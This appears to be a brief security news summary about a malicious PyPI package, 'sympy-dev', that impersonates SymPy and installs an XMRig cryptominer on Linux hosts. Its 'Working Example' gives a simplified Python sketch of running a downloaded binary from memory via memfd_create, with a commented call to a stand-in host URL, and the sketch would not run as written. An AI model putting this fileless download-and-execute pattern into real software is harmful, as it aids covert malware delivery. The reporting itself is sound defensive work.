Malicious PyPI Package Impersonates SymPy, Deploys XMRig Miner

Malicious PyPI Package Impersonates SymPy, Deploys XMRig Miner

A malicious Python package named “sympy-dev” was discovered on the Python Package Index (PyPI) impersonating the SymPy library, and was downloaded over 1,100 times since its publication on January 17, 2026. The package deploys an XMRig cryptocurrency miner on compromised Linux hosts.

Ideal software supply chains assume package integrity and authenticity; however, vulnerabilities like this demonstrate the risk of malicious actors exploiting package name similarity to distribute malware. The potential scale of impact from such attacks can range from resource hijacking through cryptomining to full system compromise, costing organizations significant financial and reputational damage.

Key Insights

• PyPI Impersonation: Attackers leverage similar package names to legitimate libraries to deceive developers.
• Memfd_create: The malicious package uses memfd_create to execute payloads in memory, reducing forensic visibility.
• XMRig Miner: The primary payload is an XMRig cryptocurrency miner, designed to exploit CPU resources.

Working Example

# Example of how the malicious package might execute a payload in memory (simplified)
import os
import subprocess

def execute_payload(payload_url):
    # In reality, the package downloads the payload from a remote URL
    # This is a placeholder for demonstration purposes
    payload = "ELF binary data" 

    # Create an anonymous memory file descriptor
    fd = os.memfd_create(b"malicious_payload", 0)
    if fd == -1:
        print("Failed to create memory file descriptor")
        return

    # Write the payload to the memory file descriptor
    os.write(fd, payload.encode())

    # Execute the payload from memory
    process = subprocess.Popen(["/proc/self/fd/" + str(fd)], shell=True)
    process.wait()

# This function would be triggered by specific SymPy routines
# execute_payload("http://example.com/malicious_elf")

Practical Applications

• Dependency Scanning: Companies like Sonatype and Snyk provide tools to scan project dependencies for known vulnerabilities and malicious packages.
• Pitfall: Relying solely on package download counts as a security indicator; a low download count doesn’t guarantee safety, and a high count doesn’t guarantee legitimacy.

References:

• https://thehackernews.com/2026/01/malicious-pypi-package-impersonates.html